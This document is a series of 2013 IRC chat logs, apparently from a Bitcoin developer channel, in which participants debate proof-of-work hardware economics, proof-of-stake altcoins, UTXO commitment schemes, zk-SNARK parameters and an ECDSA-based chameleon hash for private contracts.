14:39 < petertodd> (FWIW, fpga hardware is in the realm of 10x to 100x less efficient than ASICs depending on what you are trying to do; the FPGA's are commodity assumption is a lot easier to meet - maybe litecoin scrypt is already there)
14:39 < petertodd> adam3us: an idea I had was for the tx merkle tree to include pow
14:40 < petertodd> adam3us: like, every node on the tree would be able to include a specific pow, and you would sum total work
14:40 < petertodd> adam3us: makes it easy for anyone to do the pow for their own transactions, but the validation of the pow has to be reasonable efficient
14:42 < petertodd> (conveniently medium to high-end FPGAs these days all come with blockrams scattered over the die surface)
14:43 < petertodd> (sizes tend to be in the dozens to low hundreds of KiB per block ram, same size as litecoin scrypt assumes)
14:44 < petertodd> (the block rams however are themselves *not* as efficient as dedicated ASICs, because modern memory uses unique IC processes that verge on black magic; I'd have to investigate more to get an idea of what kinds of cost ratios are involved here and what they'd look like in the future)
14:49 < adam3us> petertodd: "an idea I had was for the tx merkle tree to include pow" did you see this paper http://hashcash.org/papers/merkle-proof.pdf by fabien coelho, i'm pretty sure you did maybe you were on the im thread when i heard a ref to it
14:49 < adam3us> "An (Almost) Constant-Effort Solution-Verification Proof-of-Work Protocol based on Merkle Trees"
14:50 < adam3us> its just space optimization and verification time optimization over sending n sub-puzzles, but its quite nice
14:50 < amiller> i bring up that paper a lot
14:50 < amiller> (but when i do, it never solves the problem i want it to)
14:50 < adam3us> amiller: it ws probably you i heard it from
14:52 < petertodd> right, that's where I got the idea
14:52 < adam3us> anyway in principle if you can earn voting rights by making disconnected proofs of work the proofs of work are not first past th post races and could even be deterministic (0 variance)
14:53 < adam3us> an end to luck, and you pick your own work size
14:54 < petertodd> Right, but how will that avoid the fastest miner wins problem?
14:54 < adam3us> petertodd: "sounds like distributing the blocks for them to be voted on could be bandwidth intensive." well they're broadcast already for spending
14:54 < adam3us> petertodd: well there is no winner, everyone collects voting power
14:55 < adam3us> petertodd: then you take a vote on which of double-spent tx are first
14:55 < adam3us> petertodd: tx with highest (or lowest) vote wins
14:55 < petertodd> Right, but think about the mechanics a bit more: how do you come to consensus on what block you're even going to vote on?
14:55 < adam3us> petertodd: like i say i dont think it even matters which is first, just that one wins - mining is quite random - the decision is made by a random node in proportion to power
14:57 < adam3us> petertodd:yes i get what you mean, but i this case as the voting rights are disconnected from the item voted on, ou can just vote on the few tx that have any conflict (maybe) individually or a sig on a list of them
14:57 < amiller> whta bout dakami's proof of x86?
14:57 < amiller> i wanna see that
14:58 < adam3us> amiller: dont know i just saw something vague from peter vesennes(sp?) forwared from xgbtc (ex google bitcoin list) how exclusionary!
14:58 < amiller> it's like the corollary of the no-free-lunch theorem
14:58 < amiller> everyone's optimal at something
14:58 < adam3us> amiller: i think some people are still stuck at not realizing a GPU *is* a better cpu (for mining)
14:59 < petertodd> adam3us: right, but you have to be careful to make sure that people can't reassign their votes - maybe force the pow that creates the votes reference a blockhash for timestamp that hash
15:01 < Luke-Jr> amiller: give Intel a monopoly on bitcoin?
15:02 < amiller> Luke-Jr, i wouldn't have chosen x86, presumably if you can do it for x86 you could do it for anything else too like a TI dsp which has an open spec, or arm
15:02 < Luke-Jr> ARM is even more closed than x86
15:02 < Luke-Jr> I'm not aware of any open TI dsps
15:02 < amiller> i don't even think it's a desirable property, i think bitcoin mining *should* only run on dedicated hardware :/
15:02 < Luke-Jr> perhaps a subset of MIPS would work :p
15:03 < Luke-Jr> amiller: yes, but obviously this would be defining dedicated hardware as "x86"
15:03 < petertodd> amiller: that means control of bitcoin is centralized in the hands of the 2-3 chip fab companies in the world
15:03 < Luke-Jr> back in 2009, an ideal POW would have been one where RAM *was* the ASIC; but SHA256d has caught up
15:03 < amiller> build more chip fabs then
15:04 < petertodd> amiller: the entire world economy appears to be too small to do that. seriously
15:04 < amiller> meh
15:04 < petertodd> amiller: leading edge chip fabrication facilities are insanely expensive
15:04 < amiller> perhaps those don't even optimize for the kind of thing that makes a good bitcoin miner?
15:04 < amiller> i guess that doesn't make nsese
15:05 < petertodd> I understand your concern re: hash-reenting attackers, but understand it's a trade-off. It would be *very* easy for only a few governments (probably just one) to demand that all Bitcoin mining hardware be regulated in the future.
15:06 < Luke-Jr> frankly, POW is flawed unless over 50% of the world's electric production goes into mining at the most efficient way possible
15:06 < amiller> that is only if your attacker is that big
15:06 < Luke-Jr> frankly, POW is flawed unless over 50% of the world's electric production goes into mining at the most efficient way possible
15:06 < Luke-Jr> at some point, a replacement is needed
15:08 < petertodd> Luke-Jr: nah, that's a certificational flaw, not a pragmatic one :) The flaw really is more that the effort that goes into proof-of-work is only economically, say, 1% to 10% of the value of the system per year, which means any attacker gets a fairly large ratio of value destroyed to value spent, but there's nothing new about that... (box-cutters vs. the WTF)
15:08 < adam3us> petertodd: "adam3us: right, but you have to be careful to make sure that people can't reassign their votes - maybe force the pow that creates the votes reference a blockhash for timestamp that hash" yes there would have to be a timestamp chain included in the work to define the range of tx allowed for voting, and i suppose all previous round tx need to go
in there also which comes back to how do you arrive at a serialization
15:08 < petertodd> s/WTF/WTC/...
15:09 < adam3us> amiller: re kaminksy this is what was forwarded to me email, posted by peter vessenes:
15:09 < petertodd> adam3us: yup, and it sounds like it'll be tricky to come up with a sufficiently simple system for that! though maybe just a direct timestamp chain would work, I'd have to think more...
15:09 < Luke-Jr> petertodd: I'm assuming the value goes up forever
15:09 < petertodd> it'd be really cool if a pure timestamp chain came out of this effort with a fairly short block interval...
15:09 < petertodd> Luke-Jr: ?
15:10 < adam3us> amiller: (on the ex google btc list) " Kaminsky proposed to me a proof of execution architecture plan which
15:10 < adam3us> sounds like it could guarantee it was running on Intel cores. I don't
15:10 < adam3us> want to steal his thunder, but it would be a proof of work that could
15:10 < adam3us> (provably?) disintermediate both botnet miners and ASIC companies.
15:10 < adam3us> I've been trolling around for someone to lead a 'health of mining'
15:10 < adam3us> committee for the Foundation, but haven't found someone willing to do the work of pulling the right folks together -- any volunteers here?"
15:10 < Luke-Jr> petertodd: at some point, it will become worthwhile to attack
15:10 < Luke-Jr> adam3us: ex google btc list?
15:12 < adam3us> sorry that was messed up, again: vesennes "Kaminsky proposed to me a proof of execution architecture plan which sounds like it could guarantee it was running on Intel cores. I don't want to steal his thunder, but it would be a proof of work that could (provably?) disintermediate both botnet miners and ASIC companies. I've been trolling around for someone
to lead a 'health of mining' committee for the Foundation, but haven't found someone wi
15:12 < Luke-Jr> sounds like something I'm already involved in, though not as a committee
15:12 < sipa> adam3us: the foundation hasn't really had much to do with development or technical stuff
15:13 < adam3us> petertodd: "it'd be really cool if a pure timestamp chain came out of this effort with a fairly short block interval..." (yeah I know you like your timestamp server;)
15:13 < sipa> also, what do you mean by 'ex google btc list' ?
15:13 < sipa> is there a bitcoin mailing list for ex-googlers? :p
15:14 < adam3us> luke-jr, amiller, sipa: yes when my buddy forwarded it to me (I dont know how he got it because he's not an ex-googler) I was like WTF? exclusive ex-google bitcoin list? how ugly and exclusionary
15:15 < adam3us> could imagine vessenes got the wrong idea kaminsky likes to throw off the cuff thoughts and rants without thinking them through it maybe quite an unvalidated vague design idea
15:15 < Luke-Jr> adam3us: anyhow, health of mining is right up the avenue of things I've been doing for a long time
15:15 < amiller> former-marine silk-road squad
20:20 < petertodd> CodeShark: yeah, they fucked that one up though because strings blk*.dat wasn't cut-n-paste-able
20:20 < petertodd> CodeShark: cute though
20:21 < CodeShark> the retrieval tool shouldn't rely on the blk*.dat files at all
20:21 < CodeShark> retrieval should be possible via p2p protocol
20:21 <@gmaxwell> petertodd: see, you don't need an upload tool.. you just need datacoin.
20:21 < petertodd> CodeShark: no, I just mean that bootstrapping it was tough because you had to decode the tx containing the tool yourself
20:22 <@gmaxwell> it has the tool built in.
20:22 < petertodd> CodeShark: well that's a fun one: you can easily design this stuff to be SPV compatible re: bloom filters
20:22 < petertodd> CodeShark: even easier if someone implements prefix filters
20:23 < CodeShark> right
20:26 < petertodd> gmaxwell: it's always a trade-off between fees and security of your data...
20:27 < CodeShark> well, wrt txout bloat, the most sensible "wizards" solution seems to be to decrement the output value as a function of age until it drops to zero, at which point it is unspendable
20:28 < petertodd> CodeShark: MMR TXO commitments shift storage to wallets (roughly speaking)
20:28 < CodeShark> MMR - not sure I'm familiar with that acronym
20:29 < petertodd> CodeShark: merkle-mountain-range
20:29 < CodeShark> how does that work?
20:30 < petertodd> CodeShark: https://bitcointalk.org/index.php?topic=314467.msg3371194#msg3371194
20:31 < petertodd> CodeShark: there's some ugly issues re: bandwidth storage tradeoffs however - given that miners don't actually have an incentive to broadcast their blocks to >%30 of hashing power there can be incentives to make blocks full of UTXO spends that are ancient that no-one has cached
20:32 < petertodd> CodeShark: but that's a general problem...
20:34 < CodeShark> ah yes, interesting stuff. it's too bad the forums are so cluttered with garbage
on occasion you do find good reads. I suppose I could filter by author :)
20:34 < petertodd> CodeShark: heh, well my fault for not having it writtne up as a paper yet
20:43 < CodeShark> the way things are right now, a secure signing node would have to store the complete transactions containing their outputs anyhow
20:43 < CodeShark> if for no other reason than that there's no other way for it to verify the output values
20:44 < CodeShark> so here we're also adding an O(log2) structure for proofs
20:44 < CodeShark> of existence in blocks
20:50 < CodeShark> existence of new outputs/removal of spent outputs, I should say
20:50 < petertodd> yeah, it's a fair bit of bandwidth over just the txin data
20:51 < petertodd> OTOH it is purely a tradeoff - if you have the UTXO set you don't have that cost
20:54 < CodeShark> so you would advertise whether or not you have the UTXO in the initial handshake?
20:55 < nsh> hmmm, there might be privacy implications in the negotiation
20:55 < petertodd> well, e.g. for a block being distributed if you don't have the utxo ask your peer to provide the proof
20:55 < CodeShark> asking the peer to provide the proof requires one more roundtrip
which introduces greater latency
20:56 < petertodd> CodeShark: yup, which is why you want to have as many utxo's on hand as you can store
20:56 < CodeShark> point is you could establish whether or not you have the complete utxo in the initial negotiation
20:56 < petertodd> CodeShark: but at some point you run out of space, so you drop ones that are unlikely to be spent
20:56 < petertodd> CodeShark: well you could give your peer a bloom filter of wha tyou have, for example
20:57 < CodeShark> right, something along those lines might work
20:57 < petertodd> yup, lots of options, main thing is that all those options are things that aren't forks
20:59 < nsh> perhaps it might be good to enable an ecology to these things: let various different approaches be 'right' and let natural selection on the basis of effectiveness and cost tend toward improvement
21:00 < nsh> the monocultural aspects of the bitcoin network should be whittled to a fine point of essential security and consistency
21:00 < CodeShark> problem is natural selection favors diversity (i.e. forks)
21:00 < petertodd> nsh: agreed, although people tend to complain that their wallets don't go fast :)
21:01 < nsh> mmm
21:01 < CodeShark> well, these approaches don't require block chain forks - but they do require care with protocol issues
21:02 < nsh> CodeShark, can't you look at the (hard)fork border as the boundary of an island (let's call it Coinagascar)? you can still have diversity within those confines...
21:03 < CodeShark> I suppose we could separate the core validation algorithms from the specifics of the protocol itself :)
21:03 < CodeShark> as in the specifics of networking with pees
21:03 < CodeShark> *peers
21:03 * nsh nods
21:04 < nsh> the downside is that you lose some of the shepherding function of the core dev team
21:04 < nsh> but i would anticipate that function isn't long-term sustainable if bitcoin grows into a very large ecosystem anyway
21:05 < nsh> and it's already accepted that you choosing to use one solution over another can have financial implications
21:05 < nsh> s/you //
21:18 < maaku> "In conclusion, I think that humanity should stop publishing papers about Byzantine fault tolerance. I do not blame my fellow researchers for trying to publish in this area, in the same limited sense that I do not blame crackheads for wanting to acquire and then consume cocaine."
21:19 < maaku> ah, microsoft research, how i love thee
21:19 * nsh smiles
21:21 < nsh> hah, that whole piece is great
21:21 < nsh> ( https://research.microsoft.com/en-us/people/mickens/thesaddestmoment.pdf )
21:25 <@gmaxwell> it's generally true of Byzantine fault tolerance. People who shit on Bitcoin are either in denial or unaware of the complete failure that field has been.
21:26 <@gmaxwell> An endless series of impossibly complicated protocols which can only work under highly unrealistic constraints and which generally burst into flames on contact with reality.
21:32 <@gmaxwell> it's basically a field that people have been wanking on more or less ineffectually since the late 1970s, making little useful progress, and then Bitcoin comes along and delivers a working system that is secure in the anonymous model, where like everything else required previously agreed participants, requires linear communication (as opposed to quadratic
in the number of participants), and is relatively simply explained vs the charts ...
21:32 <@gmaxwell> ... in that paper. ... and did so basically as a footnote on the way to producing an entirely new kind of currency.
21:44 < nsh> reminds me of... atomic chemistry until the 1870s. decades of top scientists debating fancy models, vortex theories, all sorts of complex contrivances, and then Mendeleev comes along with the periodic table, pow!
21:49 < petertodd> gmaxwell: OTOH PoW blockchains appear to only work in conjunction with financial incentives
21:50 <@gmaxwell> petertodd: indeed, bitcoin is _not_ a fully general solution.
21:51 < petertodd> gmaxwell: though in many cases you can limit your "byzantine fault vulnerability" to a small part of software that is trusted to give an honest signature for some type of "fake work"
21:51 <@gmaxwell> it just happens to work (so far) for like ... the only application known where byzantine fault tolerance was actually a hard requirement. :P
21:51 < petertodd> gmaxwell: lol, there is that!
22:06 < nsh> serendipity
--- Log closed Wed Dec 25 00:00:25 2013
--- Log opened Wed Dec 25 00:00:25 2013
--- Log closed Thu Dec 26 00:00:28 2013
--- Log opened Thu Dec 26 00:00:28 2013
14:14 < adam3us> nxt yet another big-claim-alt? 100% proof of stake in their case and its own block chain, no source code so far. all very confusing. claimed market cap > mastercoin already $100mil http://coinmarketcap.com/ i guess those market caps could do with some market depth caveats really
14:15 < adam3us> for the solidcoin spectators https://nextcoin.org/index.php/topic,104.0.html
14:15 < maaku> adam3us: it's pre-listed on a regular old web exchange
14:15 < adam3us> yes its unclear what if anything the price on dgex.com means - could be manipulated and controlled by nxt devs with ~0 mkt depth
14:16 < maaku> presumably with withdrawls eventually being handled via a premine
14:16 < adam3us> maaku: 71 "investors" donated a total of 21 btc < 1month ago and yet the claim it has a market cap of $100m... ha ha
14:17 < maaku> personally, I never understood the utility of proof-of-stake mining in any fraction
14:17 < maaku> especially when subsidies are involved ... all sorts of bad incentives
14:17 < maaku> about all its done is distract people from the real utility of PoS
14:18 < adam3us> maaku: well superficially it sounds interesting that eg ppcoin claim that for self interest someone holding 10% of stake would not want to double spend or he'd damage value of his own holdings however, then there is an unfair mining advantage to the stake holders which is a diff problem
14:19 < maaku> adam3us: yes, but the way to achieve that control is to allow the PoS participant to vote on something akin to a checkpoint
14:19 < maaku> not to have some sort of protocol-level conversion metric between stake and hashpower
14:19 < adam3us> maaku: i presume u mean effectively different votes for validity vs reward
14:20 < maaku> adam3us: i mean a different protocol for considering best block which takes into account out-of-band stakeholder votes
14:21 < adam3us> maaku: well nxt is 100% stake.. not sure if that even quite makes sense. the stake was bought for 21 btc in the last month!
17:04 < petertodd> tromp__: anyway, how much hardware design have you actually done? like, any at all? have you even taken a simple digital logic course and played around with some FPGAs?
17:05 < tromp__> yes i did digital logic as part of my cs curriculum
17:05 < tromp__> but never played with FPGAs
17:05 < petertodd> tromp__: yeah, digital logic, but did it talk about implementation level issues?
17:06 < petertodd> tromp__: I'd highly suggest learning about FPGAs at least before you try to design any more PoW algorithms - at least FPGAs let you see how your logic is physically synthesized
17:06 < phantomcircuit> petertodd, this seems like it would at least be better than scrypt as a memory hard function
17:07 < tromp__> scrypt isn't technically a proof of work
17:07 < tromp__> since it's doesn't have trivial verification
17:07 < phantomcircuit> main memory access with DDR3 is ~300 ns
17:07 < petertodd> phantomcircuit: maybe, but the question is memory hard actually what you want? gmaxwell's been pointing out that it's power that matters generally for running costs
17:08 < grazs> hmm, interesting
17:08 < petertodd> grazs: quite likely scrypt is actually *worse* for password hardening because it doesn't use as much power as other alternatives
17:09 < grazs> petertodd: my brain is stuck, I will meditate on this, had kind of an aha-moment though
17:10 < phantomcircuit> petertodd, if you can shift the costs from marginal to capital that is preferable as it reduces the incentive to be dishonest
17:10 < petertodd> phantomcircuit: only for non-commodity hardware
17:10 < phantomcircuit> if you've invested 10m into hardware which wont pay for itself for 10 years you're not going to be dishonest at year 1
17:10 < petertodd> phantomcircuit: for asic-soft algorithms that's a solved problem :)
17:11 < phantomcircuit> petertodd, well yes and no
17:12 < petertodd> tromp__: anyway, I gotta go - learn some more about digital logic and electronics - you need to be at the point where you can draw a reasonable design at the physical layout level, that is how the transistors are located and what wires connect what, if you want to be able to understand this stuff sufficiently
17:12 < phantomcircuit> petertodd, as it stands today the capital cost of asics is significant
17:12 < phantomcircuit> buttt
17:12 < phantomcircuit> that's going to change
17:13 < phantomcircuit> power costs are already significant but not the most significant
17:18 < tromp__> if anyone else has feedback on Cuckoo Cycle, i'd love to hear about it
17:19 < tromp__> it can't get much worse than being told it's the exact opposite of asic-hard :)
17:21 < azariah4> would the proposed ethereum contracts make sense if a contract is run on each node receiving a tx?
17:21 < nsh> additionally, it causes terminal cancer in puppies and war orphans
17:21 < nsh> :)
17:21 < azariah4> it seems they would need some way to only run once, or atleast on a limited number of nodes, with e.g. SNARK so other nodes can verify instead of actually running the script
17:22 < azariah4> especially given the fee per op/storage scheme
17:27 < tromp__> i've seen mention of SNARK proof size being very manageable at 288 bytes, but what's not clear to me is how much time the verification takes and whether that's practical
17:28 < tromp__> AFAIK ethereum is vague on how the processing fees for running scripts are actually distributed and to whom
17:28 < tacotime_> SNARK verification at 288 bytes is trivial
17:29 < tacotime_> But the parameter file size is not iirc
17:30 < tacotime_> For the zerocash implementation, the parameters file for their functions was over a gigabyte.
17:30 < nsh> closer to 2Gb iirc
17:32 < nsh> (i still can't intuit what this public parameters file _is_ -- how it's used as a resource...)
17:32 < azariah4> I suppose the fee scheme for contracts in ethereum could be made so that fees for a script can only be collected by the miner who mined the block containing the tx triggering the contract
17:32 < azariah4> that would make it unlikely (but not impossible of course) for other nodes to run the script
17:34 < tacotime_> nsh: gmaxwell probably knows more about what the parameters files do exactly, I still don't totally understand SCIPs. My understanding (which could be totally incorrect) is that for any given program you need to generate these parameters and disseminate them with the code you wish to have executed and verified. Then they are used (how?) when you issue
arbitary inputs to the code to
17:34 < tacotime_> generate proofs that verify your given output.
17:35 < tacotime_> And that the parameters file must arise from a trusted source.
17:35 < nsh> ack to all of that
17:36 < nsh> but in terms of the proving and verifying algorithms: what use they make of the pubparam data
17:36 < nsh> i should just read the papers harder :)
17:37 < tacotime_> I'd love to do that if I didn't have all these other things to do for my grad studies in another field. :P If you figure it out, ELI5 it to me
17:37 < tromp__> so the parameter file is like a proof template that require further specification of 7 "points" that get encoded in 288 bytes
17:40 < nsh> okay, but what does template mean in terms of to a mathematical process?
17:40 < nsh> s/ to//
17:44 < tromp__> i imagine it's like the these steps http://en.wikipedia.org/wiki/Elliptic_Curve_DSA#Signature_verification_algorithm in the case of an ECDSA "contract" where (r,s) are the additional points
17:44 < tromp__> those steps are a lot shorter than 1Gb though
17:44 < nsh> andytoshi can explain!
17:45 < nsh> in zk-SNARKS, andytoshi: what is the it, algorithmically, about the public-parameters that is used in the proving and verifying processes?
17:45 < andytoshi> hi nsh, my logs only update every 12 minutes so i don't have any context
17:46 < nsh> i've been trying to get a handle on what is special-and-super-handy about the big public parameters in zk-SNARK systems
17:46 < andytoshi> one sec, i have the snark paper right in front of me..
17:46 < nsh> so far i have a sense that it's some kind of common 'landscape'
17:47 < nsh> and the proof delineates a set of points that allow traversal of the landscape, with traversal being tantamount to verification of the computation's integrity
17:48 < nsh> but that's a long way from groking (and probably wrong, anyway)
17:48 < andytoshi> well, it's similar. the first step in the snark proof is to translate from ordinary C into an arithmetic circuit
17:48 < andytoshi> an arithmetic circuit is a directed acyclic graph where each node is labelled by a semiring operation (addition or multiplication)
17:49 < andytoshi> so you can construct polynomials in terms of that, and it turns out you can translate any bounded running-time program into such a circuit
17:49 < andytoshi> so the "landscape traversal" is just following the dag
17:50 < andytoshi> but there is some more complication because of the memory. circuits do not really encompass reading/writing to memory so there is additional work to do to verify that every read matches an earlier write..
17:50 < nsh> right
17:50 < andytoshi> but in some sense that is incidental, the conceptual miracle happens even without memory
17:50 < nsh> so what is contained in the 1.7Gb pubparem file? and why is it all needed?
17:51 < tacotime_> Is certainty in the case of SCIPs probabilistic for some proof of execution?
17:51 < andytoshi> tacotime_: yeah. but according to the baysians all proofs are probabilistic anyway so this is no problem :)
17:51 < tacotime_> Heh.
17:52 < andytoshi> nsh: sorry, i'm flipping through the snark paper to look at how they compute the execution trace to see if there is some 'simple' idea which gives the compression
17:53 < andytoshi> gmaxwell might know this better than i, it deals heavily in linear pcps which i had never heard of before this paper. so that's some background reading i have to do..
17:56 < andytoshi> Section 3 Verifying Circuit Sat via Linear PCPs is the relevant part of the ben-sasson paper @ http://eprint.iacr.org/2013/507 it has a 'high level' overview but i haven't read it well enough to summarize what's going on
17:58 < azariah4> this paper has some nice gems, hehe
17:58 < azariah4> "Concrete implementations are upper-bounded by computer memory size (and ultimately, the computational capacity of the universe), and thus their asymptotic behavior is ill-defined."
17:58 < azariah4> :D
18:05 < nsh> (dropped out for a moment there; local network troubleshooting for a stupid blue-ray player)
18:06 < andytoshi> what is the last thing you heard?
18:06 < nsh> --
18:06 < nsh> <andytoshi> nsh: sorry, i'm flipping through the snark paper to look at how they compute the execution trace to see if there is some 'simple' idea which gives the compression
18:06 < nsh> <nsh> k
18:06 < nsh> [..]
18:06 < azariah4> andytoshi: they mention memory consistency though
18:06 < nsh> <andytoshi> Section 3 Verifying Circuit Sat via Linear PCPs is the relevant part of the ben-sasson paper @ http://eprint.iacr.org/2013/507 it has a 'high level' overview but i haven't read it well enough to summarize what's going on
18:06 < nsh> --
18:06 < azariah4> in 2.3.2
18:06 < nsh> (missed the whatever was in the ellipsis)
18:07 < andytoshi> nsh: ok, that's the last thing i said. azariah4: yeah, of course, they solved that problem. but it's not relevant to conceptual questions about snarks
18:07 < andytoshi> nsh: also i said
18:08 < andytoshi> gmaxwell might know this better than i, it deals heavily in linear pcps which i had never heard of before this paper. so that's some background reading i have to do..
18:11 * nsh nods
18:11 < nsh> thanks in any case
19:38 < adam3us> gmaxwell: so set r'=R.x, and find a new Q' =cQ that matches ie its true that sR=H(m)*G+rQ' = sR=H(m)*G+r*c*Q
19:40 < adam3us> gmaxwell: for that to work rc = r', so c=r'*r^-1 mod n; now you have a standard DSA sig but on a multiple of the recipients public key, the factor c is secret as the random factor in the chameleon hash
19:45 < adam3us> gmaxwell: forgery by the recipient would be again sR=?H(m)G+rcQ to find a different c' that matches a different H(m') ie to find sR=?H(m')G+rc'Q but as the recipient knows d from dG=Q he can write that sR=?[H(m')+rc'd]G vs [H(m)+rcd] so H(m')+rc'd=H(m)+rcd, so c'=(H(m)-H(m')+rcd)/rd
19:45 < adam3us> gmaxwell: seems to work (though I am tired so i may have screwed something)... did you have an app in mind?
19:46 < adam3us> gmaxwell: maybe more direct bitcoin integratability because it already understands and serializes ECDSA sigs?
19:46 < gmaxwell> adam3us: yea my thought there is that people already have ECDSA code, so a chameleon hashs based on one would be easy to integrate.
19:47 < adam3us> gmaxwell: makes sense and kind of convenient it provisionally seems to work
20:05 < Luke-Jr> http://siliconsaint.blogspot.se/2012/07/temperature-inversion-in-deep-sub.html
--- Log closed Sun Oct 27 00:00:48 2013
--- Log opened Sun Oct 27 00:00:48 2013
05:47 < gmaxwell> adam3us: thank you very much for the crypto-anarchy explination on the forum. It's good to have someone post a structured view, instead of responding to that kind of complaint with "omg fight opression!"
10:47 < adam3us> gmaxwell: some people seem to say hal finney is not pro crypto anarchy I saw, but from what I recall of old cypherpunks posts he has really calm principled/reasoned arguments for why privacy is essential, because you need cryptography to enforce what are actually legal rights strongly etc, and he implemented and operated the first PGP based anonymous remailer,
and RPOW and he was i think the first PGP employee after zimmermann also, its very
10:48 < sipa> its very[...]
10:48 < K1773R> 512 line limit of IRC :P
10:48 < K1773R> s/512/512 chars per/
10:49 < K1773R> seems like a poor irc client :S
10:49 < sipa> i know few that deal well with overlong lines by default
10:50 < adam3us> its pidgin/linux hmm:... he (Finney) implemented and operated the first PGP based anonymous remailer, and RPOW and he was i think the first PGP employee after zimmermann also, its very hard to argue with things the way he puts them
10:51 < sipa> who is 'he'?
10:51 < adam3us> hal finney
10:51 < sipa> hmm, i don't understand
10:51 < adam3us> sipa: we were talking about explaining motivations for cryptographic privacy and I was saying i thoght hal finney does a nice job
10:51 < sipa> ah, by "hard to argue with" you mean "he is right"?
10:52 < adam3us> sipa: oh yes... i mean it sounds so reasonable and logical and non-controversial that the opponent is going to sound like an idiot or churlsih to disgree :)
10:52 < sipa> right, got it
10:53 < sipa> "hard to argue with" sounded like "so stubborn you don't want to argue with"
10:53 < adam3us> sipa: whereas as gmawell said most people say things like "beat state" and what not and then people with statist view lose sight of reason
10:54 < adam3us> sipa: nah - i never actually met him in person, but net the net he is the nicest fellow, least likely to get in a flame war, and actually doing a lot of privacy useful coding, so productive on the "cypherpunks write code" scale also
10:55 < sipa> scale also[...]
10:55 < sipa> wait, that is actually the end :)
10:55 < sipa> sorry, misparse
11:00 < adam3us> sipa: it was in relation to this bitcointalk thread https://bitcointalk.org/index.php?topic=318279.msg3419734#msg3419734
11:01 < adam3us> sipa: which was about chameleon hashes from greg but rapidly diverged into politics when someone said "what you want to forge a contract?? thats illegal" as a complete mismatch of understanding
11:01 < HM2> Snow Crash is an awesome book
11:01 < sipa> i remember why i stopped reading the forum :)
11:01 < HM2> The Baroque Cycle series is also great
11:03 < HM2> I can't remember if it was one of the BC books or Cryptonomicon that had the offshore data haven project
11:03 < adam3us> sipa: its almost funny, advanced math & bitcoin limits mixed with "doh" level newbies he he
11:04 < adam3us> HM2: i think that might've been cryptonomicon yes - very cool, like the pirate bay they are also jurisdiction hopping seemingly successfully for many years playing whack-a-mole, or havenco was the closest thing on the offshare oilrig/micro-nation-state
11:07 < HM2> this Chameleon hash thing sounds interesting
11:07 < HM2> it effectively turns the terms of the contract in to a key, right?
11:08 < adam3us> HM2: i love the line in snow crash where they run into the "president of the united states" and no one knows who he is or cares - sort of like the token "president" of somalia he's only president in his own mind as the state is a distant memory
11:08 < HM2> lol i don't recall that
11:10 < HM2> hmmm
11:12 < adam3us> HM2: so the idea which was greg's is that alice & bob can have a contract but keep the contract private, and bob cant tell other people the contract because he has the private key to could forge any contact
11:14 < adam3us> HM2: and yet if bob cheats and doesnt fulfill the contract alice can shame him by revealing the contract, it must be true because either that is the contract, or bob forged it; if bob forged it he's renegning on the contract and if he doesnt forge it alice has some proof that can convince others of what bob agreed to
11:15 < adam3us> hm2: its a bit like a non-transferable signature, except then either party could forge the contract, so alice cant prove anything to other people to shame bob and tarnish his reputation for cheating
11:16 < adam3us> hm2: so its forgeable, but only by bob some kind of mix of a hash function on one side and a non-transferable sig on the other; quite a nice building block
11:17 < HM2> How does the public remediate contract disputes exactly?
11:18 < HM2> If Alice is selling Bob something then either Alice can access the wallet and complete the contract or some public action + Bobs proof of contract can
11:18 < adam3us> HM2: they dont exactly, but if bob has a nice ebay-style rating there is a threat that alice can prove things to other people if he cheats, so he has an incentive to play nice
11:19 < adam3us> hm2: oh yes, the relation to the contract hash, is that in order to cash the payment, bob effectively demonstrates he has the hash, because he has to multiply the base address by it
11:19 < HM2> right so it's not a system to prevent you from being screwed over, like a reversal in a blockchain like system? it's just a reputation system
11:20 < adam3us> hm2: so he cant deny all knowledge as everyone can see the cash in his address and the tx which can be seen to hash from the contract to his address
11:20 < adam3us> hm2: yes its interesting because its simultaneously private (because its non-transferable) and yet there is still a threat of revealing the contact
11:20 < adam3us> hm2: contract
11:21 < HM2> right but if Alice sells Bob a TV and Bob claims he he never received it but Alice took the money, and Alice said Bob did receive it. what do you gain? it's still open to dispute
11:21 < adam3us> hm2: its unusual because normally its either non-transferable or its signed (non-repudiable) and yet like OTR you dont want non-repuiable signatures published or the other party to renege on the implied privacy
11:22 < adam3us> hm2: yes greg on the post mentioned if its a physical item or a matter of opinion kind of contract you might add an arbitrator
11:22 < HM2> what kind of contracts actually benefit then?
11:22 < adam3us> hm2: but if its straight up swap 1BTC for 150 LTC
11:23 < adam3us> hm2: well that could probably be done atomically, but where you are relying on reputation and want contract privacy
11:23 < HM2> hmm
11:23 < adam3us> hm2: i mean the thesis is that private contacting parties should not have to tell anyone about the contents of their contract
11:23 < adam3us> hm2: so maybe alice doesnt know bob that well and doesnt quite trust him not to blab and show everyone else the ebook she bought because its racy
11:24 < adam3us> hm2: with normal signed contracts bob can prove that because alice signed her order, so bob can embarrass her
11:25 < adam3us> hm2: with chameleon hash based sig, bob cant really do that because bob can make that contract say whatever he wants (he can forge it), so no one will necessarily believe him as there is no transferable proof
11:25 < HM2> oh i'm slowly getting it
11:25 < HM2> so you have a transaction that can be shown by one party to be for anything
11:25 < HM2> and by the other for one specific thing
11:25 < HM2> is that about it?
11:25 < Luke-Jr> sounds useless <.<
11:26 < adam3us> hm2: so far thats standard non-transferable sig (opposite of non-repudiable sig), but the interesting new feature is that in addition to that, alice can actually prove bob accepted the contract so the power to prove things is asymmetric
11:26 < adam3us> hm2: yes
11:26 < HM2> big words like repudiable don't do well for me on Sundays
11:26 < Luke-Jr> lol
11:27 < adam3us> luke-jr: spoilsport - actually i think probably it should be the default sig in smart contracts / bitcoin script! you do want the mechanism to not have unintended side effects for the users
11:27 < HM2> oh
11:27 < HM2> so how does one construct a Chameleon hash with ECs? I understand basic EC algebra
11:27 < Luke-Jr> adam3us: a contract you cannot prove the contents of cannot be enforced, thus has no purpose
11:27 < adam3us> hm2: you dont want that should say
11:28 < adam3us> luke-jr: but you can prove it (alice can)
11:28 < adam3us> luke-jr: its just bob that cant
11:28 < Luke-Jr> adam3us: a one-sided contract is nasty enough already
23:37 < petertodd> gmaxwell: so is this partial UTXO mode scary enough that you'd rather not see it happen or what? I figure long-term we need UTXO posession proofs for miners, and it pushes decentralization by making it easier to run a full-node
23:38 < petertodd> gmaxwell: I really like how it lets those nodes do useful work for the network - relaying tx's increases your anonymity set, and they can serve SPV nodes just fine
23:39 < petertodd> gmaxwell: heck, add a way to make bogus tx's expensive and they can even relay any transaction, or just rely on how the proofs that a tx was bogus just give the partial-UTXO holders information they would have retrieved later anyway
